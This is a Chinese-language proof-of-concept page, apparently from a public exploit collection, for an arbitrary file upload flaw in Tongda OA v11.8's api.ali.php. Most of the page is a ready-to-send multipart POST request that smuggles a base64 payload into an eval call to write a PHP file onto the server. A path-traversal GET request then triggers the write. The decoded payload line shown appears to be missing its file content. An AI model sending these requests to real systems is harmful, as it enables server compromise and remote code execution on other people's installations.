mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-07 03:44:10 +00:00
53 lines
1.6 KiB
Markdown
53 lines
1.6 KiB
Markdown
# 通达OA v11.8 api.ali.php 任意文件上传漏洞
|
||
|
||
## 漏洞描述
|
||
|
||
通达OA v11.8 api.ali.php 存在任意文件上传漏洞，攻击者通过漏可以上传恶意文件控制服务器
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
通达OA v11.8
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
登陆页面
|
||
|
||
|
||
|
||
向 api.ali.php 发送请求包
|
||
|
||
```
|
||
POST /mobile/api/api.ali.php HTTP/1.1
|
||
Host:
|
||
User-Agent: Go-http-client/1.1
|
||
Content-Length: 422
|
||
Content-Type: multipart/form-data; boundary=502f67681799b07e4de6b503655f5cae
|
||
Accept-Encoding: gzip
|
||
|
||
--502f67681799b07e4de6b503655f5cae
|
||
Content-Disposition: form-data; name="file"; filename="fb6790f4.json"
|
||
Content-Type: application/octet-stream
|
||
|
||
{"modular":"AllVariable","a":"ZmlsZV9wdXRfY29udGVudHMoJy4uLy4uL2ZiNjc5MGY0LnBocCcsJzw/cGhwIHBocGluZm8oKTs/PicpOw==","dataAnalysis":"{\"a\":\"錦',$BackData[dataAnalysis] => eval(base64_decode($BackData[a])));/*\"}"}
|
||
--502f67681799b07e4de6b503655f5cae--
|
||
```
|
||
|
||
参数a base解码
|
||
|
||
```
|
||
ZmlsZV9wdXRfY29udGVudHMoJy4uLy4uL2ZiNjc5MGY0LnBocCcsJzw/cGhwIHBocGluZm8oKTs/PicpOw==file_put_contents('../../fb6790f4.php','');
|
||
```
|
||
|
||
|
||
|
||
再发送GET请求写入文件，页面返回`+OK`
|
||
|
||
```
|
||
/inc/package/work.php?id=../../../../../myoa/attach/approve_center/2109/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E.fb6790f4
|
||
```
|
||
|
||
其中请求中对 2109 为 年月,路径为 `/fb6790f4.php,`
|
||
|
||
 |